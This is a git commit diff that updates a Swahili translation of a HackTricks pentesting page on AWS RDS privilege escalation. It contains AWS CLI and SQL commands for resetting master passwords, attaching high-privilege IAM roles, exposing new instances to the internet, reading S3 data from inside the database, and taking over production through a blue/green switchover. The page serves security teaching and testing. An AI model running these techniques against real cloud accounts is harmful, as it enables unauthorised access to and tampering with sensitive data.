Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

This commit is contained in:
Translator
2026-01-13 13:30:49 +00:00
parent 8bc08ab3ab
commit d6106c3008
@@ -2,7 +2,7 @@
{{#include ../../../../banners/hacktricks-training.md}}
## RDS - Relational Database Service
## RDS - Huduma ya Hifadhidata ya Kihusiano
Kwa taarifa zaidi kuhusu RDS angalia:
@@ -12,7 +12,7 @@ Kwa taarifa zaidi kuhusu RDS angalia:
### `rds:ModifyDBInstance`
Kwa ruhusa hiyo mshambuliaji anaweza **kubadilisha nenosiri la mtumiaji mkuu**, na taarifa za kuingia ndani ya hifadhidata:
Kwa ruhusa hiyo mshambulizi anaweza **kubadilisha nenosiri la mtumiaji mkuu**, na taarifa za kuingia ndani ya hifadhidata:
```bash
# Get the DB username, db name and address
aws rds describe-db-instances
@@ -27,30 +27,30 @@ aws rds modify-db-instance \
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
```
> [!WARNING]
> Utahitaji kuwa na uwezo wa **kuwasiliana na database** (kwa kawaida zinaweza kufikika tu kutoka ndani ya mitandao).
> Utahitaji kuweza **kuwasiliana na database** (kwa kawaida zinaweza kupatikana tu kutoka ndani ya mitandao).
**Madhara Yanayowezekana:** Kupata taarifa nyeti ndani ya database.
**Athari Inayowezekana:** Kupata taarifa nyeti ndani ya databases.
### rds-db:connect
Kulingana na [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) mtumiaji mwenye idhini hii anaweza kuungana na DB instance.
Kulingana na [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) mtumiaji mwenye ruhusa hii anaweza kuunganishwa kwenye DB instance.
### Abuse RDS Role IAM permissions
### Kutumia vibaya ruhusa za RDS Role IAM
#### Postgresql (Aurora)
> [!TIP]
> Ikiwa unapoendesha **`SELECT datname FROM pg_database;`** ukapata database iitwayo **`rdsadmin`** unajua uko ndani ya **AWS postgresql database**.
> Ikiwa ukiendesha **`SELECT datname FROM pg_database;`** ukapata database inayoitwa **`rdsadmin`**, unajua uko ndani ya **AWS postgresql database**.
Kwanza unaweza kuangalia ikiwa database hii imetumika kufikia huduma nyingine yoyote ya AWS. Unaweza kuangalia hili kwa kuangalia extensions zilizowekwa:
Kwanza, unaweza kukagua ikiwa database hii imetumika kufikia huduma nyingine yoyote ya AWS. Unaweza kukagua hili kwa kuangalia extensions zilizowekwa:
```sql
SELECT * FROM pg_extension;
```
Ikiwa utakuta kitu kama **`aws_s3`** unaweza kudhani kuwa hifadhidata hii ina **aina fulani ya ufikiaji kwa S3** (kuna viendelezi vingine kama **`aws_ml`** na **`aws_lambda`**).
Ikiwa utapata kitu kama **`aws_s3`** unaweza kudhani hifadhidata hii ina **aina fulani ya ufikiaji juu ya S3** (kuna viendelezi vingine kama **`aws_ml`** na **`aws_lambda`**).
Pia, ikiwa una ruhusa za kuendesha **`aws rds describe-db-clusters`** unaweza kuona huko kama **klasta imeambishwa IAM Role yoyote** katika uwanja **`AssociatedRoles`**. Ikiwa ipo, unaweza kudhani kuwa hifadhidata ilitayarishwa kufikia huduma nyingine za AWS. Kulingana na **jina la role** (au ikiwa unaweza kupata **idhini** za role) unaweza **kudhani** ni upatikanaji gani wa ziada hifadhidata ina.
Pia, ikiwa una ruhusa za kuendesha **`aws rds describe-db-clusters`** unaweza kuona pale kama **cluster has any IAM Role attached** katika uwanja **`AssociatedRoles`**. Ikiwa ipo, unaweza kudhani kwamba hifadhidata ilitayarishwa ili kufikia huduma nyingine za AWS. Kulingana na **jina la role** (au ikiwa unaweza kupata **idhinishaji** za role) unaweza **kubashiri** ni upatikanaji gani wa ziada hifadhidata ina.
Sasa, ili kusoma faili ndani ya bucket unahitaji kujua njia kamili. Unaweza kuisoma kwa:
Sasa, ili **kusoma faili ndani ya bucket** unahitaji kujua njia kamili. Unaweza kuisoma kwa:
```sql
// Create table
CREATE TABLE ttemp (col TEXT);
@@ -71,7 +71,7 @@ SELECT * from ttemp;
// Delete table
DROP TABLE ttemp;
```
Ikiwa ungekuwa na **raw AWS credentials**, ungeweza pia kuzitumia kufikia data za S3 kwa:
Kama ungekuwa na **raw AWS credentials**, ungeweza pia kuzitumia kufikia data za S3 kwa:
```sql
SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
@@ -80,18 +80,18 @@ aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);
```
> [!NOTE]
> Postgresql **haihitaji kubadilisha parameter group variable yoyote** ili kuwa na uwezo wa kufikia S3.
> Postgresql **haihitaji kubadilisha parameter group variable yoyote** ili kuweza kufikia S3.
#### Mysql (Aurora)
> [!TIP]
> Ndani ya mysql, ikiwa unafanya query **`SELECT User, Host FROM mysql.user;`** na kuna mtumiaji anayeitwa **`rdsadmin`**, unaweza kudhani uko ndani ya **AWS RDS mysql db**.
> Ndani ya mysql, ukikimbia query **`SELECT User, Host FROM mysql.user;`** na kuna mtumiaji aitwaye **`rdsadmin`**, unaweza kudhani uko ndani ya **AWS RDS mysql db**.
Ndani ya mysql endesha **`show variables;`** na ikiwa vigezo kama **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** vina thamani, unaweza kudhani hifadhidata imeandaliwa kufikia data ya S3.
Ndani ya mysql tumia **`show variables;`** na ikiwa variables kama **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`**, zina thamani, unaweza kudhani database imeandaliwa kufikia data ya S3.
Pia, ikiwa una ruhusa za kuendesha **`aws rds describe-db-clusters`** unaweza kuangalia kama cluster ina **role yoyote iliyohusishwa**, ambayo kwa kawaida inamaanisha ufikiaji wa AWS services).
Pia, ikiwa una ruhusa kukimbia **`aws rds describe-db-clusters`** unaweza kukagua kama cluster ina **role iliyohusishwa**, ambayo kwa kawaida inamaanisha upatikanaji wa AWS services).
Sasa, ili **kusoma faili ndani ya bucket** unahitaji kujua njia kamili. Unaweza kuisoma kwa:
Sasa, ili **kusoma faili ndani ya bucket** unahitaji kujua path kamili. Unaweza kuisoma kwa:
```sql
CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
@@ -100,16 +100,16 @@ DROP TABLE ttemp;
```
### `rds:AddRoleToDBCluster`, `iam:PassRole`
Mshambulizi mwenye ruhusa `rds:AddRoleToDBCluster` na `iam:PassRole` anaweza **kuongeza role iliyobainishwa kwenye RDS instance iliyopo**. Hii inaweza kumruhusu mshambulizi **kupata data nyeti** au kubadilisha data ndani ya instance.
Mshambuliaji mwenye ruhusa `rds:AddRoleToDBCluster` na `iam:PassRole` anaweza **kuongeza role iliyobainishwa kwenye RDS instance iliyopo**. Hii inaweza kumruhusu mshambuliaji **kupata data nyeti** au kubadilisha data ndani ya RDS instance.
```bash
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
```
**Athari Inayoweza Kutokea**: Upatikanaji wa data nyeti au mabadiliko yasiyoruhusiwa kwenye data ya instance ya RDS.\
Kumbuka kuwa baadhi ya DBs zinahitaji mipangilio ya ziada, kama Mysql, ambayo inahitaji kutaja role ARN pia katika aprameter groups.
**Potential Impact**: Kufikia data nyeti au mabadiliko bila idhini kwa data kwenye RDS instance.\
Kumbuka kwamba baadhi ya DBs zinahitaji usanidi wa ziada kama Mysql, ambazo zinahitaji kutaja role ARN pia katika parameter groups.
### `rds:CreateDBInstance`
Kwa ruhusa hii tu mshambuliaji anaweza kuunda **instance mpya ndani ya cluster** ambayo tayari ipo na ina **IAM role** imeambatishwa. Haatakuwa na uwezo wa kubadilisha nywila ya mtumiaji mkuu, lakini anaweza kuifanya instance mpya ya database ipatikane kwa intaneti:
Kwa ruhusa hii pekee mshambuliaji anaweza kuunda **instance mpya ndani ya cluster** ambayo tayari ipo na ina **IAM role** imeambatishwa. Mshambuliaji hatoweza kubadilisha nenosiri la mtumiaji mkuu, lakini anaweza kufichua instance mpya ya database kwa intaneti:
```bash
aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
@@ -124,28 +124,48 @@ aws --region eu-west-1 --profile none-priv rds create-db-instance \
> [!NOTE]
> TODO: Test
Mshambuliaji mwenye ruhusa za `rds:CreateDBInstance` na `iam:PassRole` anaweza **kuunda instance mpya ya RDS yenye role maalum imeambatishwa**. Mshambuliaji huyo anaweza kisha kwa uwezekano **kupata data nyeti** au kubadilisha data ndani ya instance hiyo.
Mshambuliaji mwenye ruhusa `rds:CreateDBInstance` na `iam:PassRole` anaweza **kuunda instance mpya ya RDS yenye role iliyobainishwa imeambatishwa**. Mshambuliaji anaweza kisha kwa uwezekano **kupata data nyeti** au kubadilisha data ndani ya instance hiyo.
> [!WARNING]
> Baadhi ya mahitaji ya role/instance-profile ya kuambatisha (kutoka [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)):
> Some requirements of the role/instance-profile to attach (from [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)):
> - Profile lazima iwepo katika account yako.
> - Profile lazima iwe na IAM role ambayo Amazon EC2 ina ruhusa ya kuitegemea (assume).
> - Jina la instance profile na jina la IAM role linalohusiana lazima lianze na kiambishi awali `AWSRDSCustom`.
> - The profile must exist in your account.
> - The profile must have an IAM role that Amazon EC2 has permissions to assume.
> - The instance profile name and the associated IAM role name must start with the prefix `AWSRDSCustom` .
```bash
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
```
**Athari zinazowezekana**: Upatikanaji wa data nyeti au mabadiliko yasiyoidhinishwa kwa data katika RDS instance.
**Potential Impact**: Ufikiaji wa taarifa nyeti au mabadiliko yasiyoruhusiwa kwenye data katika RDS instance.
### `rds:AddRoleToDBInstance`, `iam:PassRole`
Mshambuliaji aliye na ruhusa `rds:AddRoleToDBInstance` na `iam:PassRole` anaweza **kuongeza role iliyotajwa kwa RDS instance iliyopo**. Hii inaweza kumruhusu mshambuliaji **kupata data nyeti** au kubadilisha data ndani ya instance.
Attacker aliye na ruhusa `rds:AddRoleToDBInstance` na `iam:PassRole` anaweza **kuongeza role iliyobainishwa kwenye RDS instance iliyopo**. Hii inaweza kumruhusu attacker **kupata taarifa nyeti** au kubadilisha data ndani ya RDS instance.
> [!WARNING]
> DB instance lazima iwe nje ya cluster kwa hili
```bash
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
```
**Athari Inayoweza Kutokea**: Upatikanaji wa data nyeti au mabadiliko yasiyoidhinishwa kwa data katika instance ya RDS.
**Athari Inayowezekana**: Ufikiaji wa data nyeti au mabadiliko yasiyoruhusiwa kwa data katika instance ya RDS.
### `rds:CreateBlueGreenDeployment`, `rds:AddRoleToDBCluster`, `iam:PassRole`, `rds:SwitchoverBlueGreenDeployment`
Mshambuliaji mwenye ruhusa hizi anaweza ku-clone database ya production (Blue), kuambatanisha role ya IAM yenye mamlaka ya juu kwenye clone (Green), kisha kutumia switchover kubadilisha mazingira ya production. Hii inamhakikishia mshambuliaji kuinua mamlaka ya database na kupata ufikiaji usiotoruhusiwa kwa rasilimali nyingine za AWS.
```bash
# Create a Green deployment (clone) of the production cluster
aws rds create-blue-green-deployment \
--blue-green-deployment-name <name> \
--source <production-db-cluster-arn>
# Attach a high-privilege IAM role to the Green cluster
aws rds add-role-to-db-cluster \
--db-cluster-identifier <green-cluster-id> \
--role-arn <high-privilege-iam-role-arn>
# Switch the Green environment to Production
aws rds switchover-blue-green-deployment \
--blue-green-deployment-identifier <deployment-id>
```
**Athari Inayoweza Kutokea**: Kuchukua kikamilifu mazingira ya hifadhidata ya uzalishaji. Baada ya kuhamishwa, hifadhidata inafanya kazi kwa ruhusa zilizoinuliwa, ikiruhusu ufikiaji usioidhinishwa kwa huduma nyingine za AWS (kwa mfano, S3, Lambda, Secrets Manager) kutoka ndani ya hifadhidata.
{{#include ../../../../banners/hacktricks-training.md}}